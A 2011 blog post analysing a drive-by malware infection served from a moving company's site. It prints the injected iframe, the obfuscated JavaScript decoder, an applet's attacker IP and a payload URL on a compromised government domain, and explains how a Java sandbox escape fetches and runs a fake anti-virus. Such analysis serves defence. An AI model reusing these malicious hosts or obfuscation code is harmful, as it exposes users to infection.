Choose Your Browser Exploit
November 14, 2011While reading about house moving scams I accessed the inconspicuous website www.aaamove.com (WARNING: do not go there!). Right after loading the homepage with my up-to-date Firefox browser, I noticed suspicious activities going on. The JVM had started running, and a weirdly named exe was running in the background. I had been infected with a virus! Luckily, although I had no anti-virus installed, I had been running Sandboxie and was able to capture and reverse engineer the culprit. The adventure begins..
Before I start, I must say that even at the moment of writing this, a week after the infection (the website is still serving the virus), detection rates of anti-virus are quite modest.
- VirusTotal analysis of malicious URL (link) (screenshot)
- VirusTotal analysis of malicious executable (link) (screenshot)
The AAAMove.com landing page is completely clean except for the following snippet at the bottom of the page, right before the ending </html> tag:
<iframe src='http://dprd.bantulkab.go.id/gambar/1/?script' width='1px' height='1px' frameborder='0'></iframe>
Interestingly enough, this snippet which loads the exploit does not appear on every page load, making the virus infection somewhat transient, and the website difficult to identify as source after the infection has occurred. Moreover, the Indonesian serving website homepage seems to be clean and belongs to the local legislative districts of Bantul (websites ending with .go.id belong to the Indonesian government).
So what’s behind that address? Nothing but clever JavaScript! Have a look. Though the iframe loads quite a few applets, possibly each of them trying to perform different exploits, the thing that outsmarted my browser is hidden in the rel attribute of that invisible div with id="asfasf". Should I mention the the rel attribute is not part of any HTML standard? The JavaScript routine that decodes the seemingly random series of digits separated by dots is a marvel designed to trick anti-viruses. Here it is below:
<script>
try{doc.asdhdfjeje}catch(q){w=String;}
function setCharAt(str,q,index) {
i=index;
c= w["fromCharCode"](1*str[i] + 31); return c;
}
md="a";md="b";md="d";md="z";
z2z3z5=function(){
try{if(+new Object(203)===203)throw 1;}catch(q){
s="get"+"Elem"+"entById";
return document[s]("asfasf").getAttribute("rel")["split"](".");
}
}
c=new String();
b=i=0;
s=z2z3z5.call();
while(i!=s.length){ c+=setCharAt(s,123,i); i++; }
try{document.getElementById("eception").copypast.return3212}catch(q){ eval(c); }
</script>
All it does is to replace each number with the corresponding ASCII character code, and then call eval() on the resulting string, which is a (long) piece of JavaScript code. However, to perform this undetected, the author has to write code that scratches his ear by running his hand around his head. Notice the pointless try blocks which are specifically designed to fail, in order for the catch blocks to execute. Notice the indirect reference to the global String object. Notice the unused function argument q. Notice the call by name of the String.fromCharCode method. Notice the superfluous 1* multiplication, assignments to the never-used variables md and b, and the concatenation of the getElementById method name. We can easily re-write this code much, much simpler:
<script>
function setCharAt(str, index) {
return String.fromCharCode(str[i] + 31);
}
function getEncodedText(){
return document.getElementById("asfasf").getAttribute("rel")["split"](".");
}
c=new String();
s=getEncodedText();
i=0;
while(i!=s.length){ c+=setCharAt(s,i); i++; }
eval(c);
</script>
Now we can have a look at the decoded output. A 1493 line pice of JavaScript code. Out of these, 1400 have the sole purpose of detecting the versions of your browser, Adobe Flash plugin, Java Runtime Environment, and Adobe Reader, down to the third level of version numbering (the “change”). Depending on the result, the script launches a range of exploits targeting JRE (at least two) and Flash. The script appears incomplete, as no exploit on the PDF reader is included, and there is an unused encoded string oddly named shellcode, indicating that this exploit collection might be under development. The script might also be related to the Black Hole Exploits Kit which is recently being sold on the underweb.
The actual exploit that I am going to describe next affects JRE installations older than 1.6.23, which is pretty recent (around 6 months), and (un)luckily the current version on my machine. The script attempts to insert in the HTML document a Java applet with the following attributes:
code = http://1049909346:2002/Main.class– the URL of the Java class file, notice the compact representation of the IP addressaaa = vMMCWJJ4CB4%_PDMtXYP_%7g%.4J7PZ_PBJ3J.D4L5%CvCjOCX=RGKsR– a key used by the applet for decoding a certain string valuecodebase =a combination of (C:orD:orE:orF:) +\\Program Files+ (optional(x86)) +\\Java\\jre6\\lib\\ext, which represent probable paths to the JRE installation for all possible disk partitions and machine architectures.
The most intriguing parameter is the codebase, which according to Java Oracle is used
to specify if and how to download the JRE.
How clever!
Even more clever is the decompiled class file which can be found here. This one actually performs an exploit on JRE, bypassing the sandbox in which Java applets are run, and managing to quietly download and execute a file on the local host without any user intervention.
Notice from the start seemingly random variables, which although have inconspicuous names, by looking at their assigned values it is hard to imagine how they could ever be used. In fact, all methods and variables are named in such a way not to attract attention, appearing to come from common Java programs which perform XML related tasks. The amount of superfluous operations is staggering. Useless variables. Repeated string concats, splits and substring calls just to get the bits “exe”, “http”, “32” and “java.io.tmpdir”. Deep Java reflection in order to instantiate objects and call methods by specifying their string name. Three nested function calls just to concat a string. Brilliant!
So how exactly does it work?
First of all, the address where the executable payload is found is computed in a convoluted way using the aaa parameter passed to the applet. The function which does this is called buildLogicService. By running it we get the following address:
http://dprd.bantulkab.go.id/gambar/1/index.php?spl=TRUST
This returns a 417KB executable with a fancy icon. The applet downloads it in the local Temporary Files directory under a different name each time, constructed by appending “exe” to the number returned by a Math.random call. To break out of the sandbox, the applet uses reflection and byte streams. An InputStream is opened by pointing to the malicious URL and a FileOutputStream writes the file to the local disk. The payload is transferred 1024 bytes at a time. Once the transfer is complete, the executable is launched with a shell call to regsvr32 -s followed by the file name. Judging by the analysis provided by VirusTotal, the payload is a type of FakeAV, basically a fake anti-virus which pops up a flashy window to trick you into paying for a bogus subscription, while in the background it is busy installing trojans, worms which alter your MBR, and possibly other gems, turning your computer into a servile member of a botnet.
So there you have it, an attack affecting a significant part of Internet users of today, unnoticed by up-to-date AVs, and which works on all browsers and Win OSes.